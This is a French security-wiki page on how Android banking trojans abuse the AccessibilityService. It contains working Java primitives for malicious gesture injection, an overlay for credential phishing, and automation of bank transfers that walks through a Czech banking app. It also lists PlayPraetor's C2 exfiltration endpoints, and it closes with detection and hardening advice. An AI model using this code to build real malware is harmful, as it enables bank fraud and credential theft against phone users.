# Abus du service d'accessibilité Android {{#include ../../banners/hacktricks-training.md}} ## Vue d'ensemble `AccessibilityService` a été créé pour aider les utilisateurs en situation de handicap à interagir avec les appareils Android. Malheureusement, les mêmes **API d'automatisation puissantes** (navigation globale, saisie de texte, dispatch de gestes, fenêtres d'overlay…) peuvent être détournées par des malwares pour obtenir un **contrôle total à distance** du téléphone _sans privilèges root_. Les trojans bancaires Android modernes et les Remote-Access-Trojans (RATs) tels que **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** et bien d'autres suivent la même recette : 1. Amener la victime par ingénierie sociale à activer un service d'accessibilité malveillant (la *BIND_ACCESSIBILITY_SERVICE* permission est considérée comme "à haut risque" et nécessite une action explicite de l'utilisateur). 2. Exploiter le service pour * capturer chaque événement UI et tout texte affiché à l'écran, * injecter des gestes synthétiques (`dispatchGesture`) et des actions globales (`performGlobalAction`) pour automatiser toute tâche désirée par l'opérateur, * dessiner des overlays plein écran au-dessus d'apps légitimes en utilisant le type de fenêtre **TYPE_ACCESSIBILITY_OVERLAY** (pas de prompt `SYSTEM_ALERT_WINDOW` !), * accorder silencieusement des permissions runtime supplémentaires en cliquant sur les dialogues système au nom de la victime. 3. Exfiltrer des données ou réaliser du **On-Device-Fraud (ODF)** en temps réel pendant que l'utilisateur regarde un écran apparemment normal. --- ## Demander la permission ```xml ``` Le XML compagnon définit à quoi ressemblera la fausse boîte de dialogue : ```xml ``` --- ## Primitives d'automatisation de l'interface utilisateur à distance ```java public class EvilService extends AccessibilityService { @Override public void onAccessibilityEvent(AccessibilityEvent event) { // harvest text or detect foreground app change } // Simulate HOME / BACK / RECENTS … private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); } private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); } private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); } // Generic tap / swipe public void tap(float x, float y) { Path p = new Path(); p.moveTo(x, y); GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50); dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null); } } ``` Avec seulement ces deux APIs, un attaquant peut : * Déverrouiller l'écran, ouvrir l'application bancaire, parcourir son arbre UI et soumettre un formulaire de virement. * Accepter toutes les boîtes de dialogue de permission qui s'affichent. * Installer/mettre à jour des APK supplémentaires via l'intent Play Store. --- ## Schémas d'abus ### 1. Overlay Phishing (Credential Harvesting) Un `WebView` transparent ou opaque est ajouté au window manager : ```java WindowManager.LayoutParams lp = new WindowManager.LayoutParams( MATCH_PARENT, MATCH_PARENT, TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app PixelFormat.TRANSLUCENT); wm.addView(phishingView, lp); ``` La victime saisit ses identifiants dans le formulaire factice pendant que l'app en arrière-plan reçoit les mêmes gestes – aucune invite suspecte "draw over other apps" n'est jamais affichée. > Exemple détaillé : la section *Accessibility Overlay Phishing* à l'intérieur de la page Tapjacking. ### 2. Automatisation de la fraude sur l'appareil Des familles de malware telles que **PlayPraetor** maintiennent un canal WebSocket persistant où l'opérateur peut émettre des commandes de haut niveau (`init`, `update`, `alert_arr`, `report_list`, …). Le service traduit ces commandes en gestes bas-niveau décrits ci-dessus, réalisant des transactions non autorisées en temps réel qui contournent facilement la multi-factor-authentication liée à cet appareil. ### 3. Screen streaming & monitoring En combinant la **MediaProjection API** avec une librairie cliente RTMP, le RAT peut diffuser le framebuffer en direct vers `rtmp://:1935/live/`, offrant à l'adversaire une parfaite conscience situationnelle pendant que le moteur Accessibility pilote l'UI. --- ## PlayPraetor – workflow de command & control 1. **HTTP(S) heartbeat** – itère sur une liste codée en dur jusqu'à ce qu'un domaine réponde à `POST /app/searchPackageName` avec le C2 actif. 2. **WebSocket (port 8282)** – commandes JSON bidirectionnelles : * `update` – push de nouvelles conf/APKs * `alert_arr` – configurer les templates d'overlay * `report_list` – envoyer la liste des noms de packages ciblés * `heartbeat_web` – keep-alive 3. **RTMP (port 1935)** – streaming d'écran/vidéo en direct. 4. **REST exfiltration** – * `/app/saveDevice` (fingerprint) * `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64` * `/app/saveCardPwd` (bank creds) Le **AccessibilityService** est le moteur local qui transforme ces commandes cloud en interactions physiques. --- ## Détection des services Accessibility malveillants * `adb shell settings get secure enabled_accessibility_services` * Settings → Accessibility → *Downloaded services* – rechercher des apps qui ne proviennent **pas** de Google Play. * Les solutions MDM / EMM peuvent imposer `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) pour bloquer les services sideloadés. * Analyser les services en cours d'exécution : ```bash adb shell dumpsys accessibility | grep "Accessibility Service" ``` --- ## Recommandations de durcissement pour les développeurs d'apps * Marquer les vues sensibles avec `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+). * Combiner `setFilterTouchesWhenObscured(true)` avec `FLAG_SECURE` pour prévenir le détournement de tap/overlay. * Détecter les overlays en sondant `WindowManager.getDefaultDisplay().getFlags()` ou l'API `ViewRootImpl`. * Refuser de fonctionner lorsque `Settings.canDrawOverlays()` **ou** un Accessibility service non approuvé est actif. --- ## Aide-mémoire d'automatisation ATS (Accessibility-driven) Le malware peut automatiser complètement une application bancaire uniquement avec les Accessibility APIs. Primitives génériques : ```java // Helpers inside your AccessibilityService private List byText(String t){ AccessibilityNodeInfo r = getRootInActiveWindow(); return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t); } private boolean clickText(String t){ for (AccessibilityNodeInfo n: byText(t)){ if (n.isClickable()) return n.performAction(ACTION_CLICK); AccessibilityNodeInfo p = n.getParent(); if (p != null) return p.performAction(ACTION_CLICK); } return false; } private void inputText(AccessibilityNodeInfo field, String text){ Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text); field.performAction(ACTION_SET_TEXT, b); } private void tap(float x, float y){ Path p = new Path(); p.moveTo(x,y); dispatchGesture(new GestureDescription.Builder() .addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null); } ``` Exemple de flux (tchèque → étiquettes en anglais) : - "Nová platba" (Nouveau paiement) → cliquer - "Zadat platbu" (Saisir le paiement) → cliquer - "Nový příjemce" (Nouveau bénéficiaire) → cliquer - "Domácí číslo účtu" (Numéro de compte national) → mettre le focus et `ACTION_SET_TEXT` - "Další" (Suivant) → cliquer → … "Zaplatit" (Payer) → cliquer → saisir le PIN Fallback : coordonnées codées en dur avec `dispatchGesture` lorsque la recherche de texte échoue en raison de widgets personnalisés. Observé aussi : des étapes préalables appelant check_limit et limit en naviguant dans l'interface des limites et en augmentant les limites journalières avant le transfert. ## Pseudo-streaming d'écran textuel Pour le contrôle à distance à faible latence, au lieu d'un streaming vidéo complet, extraire une représentation textuelle de l'arbre UI courant et l'envoyer de façon répétée au C2. ```java private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){ if (n==null) return; Rect b = new Rect(); n.getBoundsInScreen(b); CharSequence txt = n.getText(); CharSequence cls = n.getClassName(); sb.append(indent).append("[").append(cls).append("] ") .append(txt==null?"":txt).append(" ") .append(b.toShortString()).append("\n"); for (int i=0;i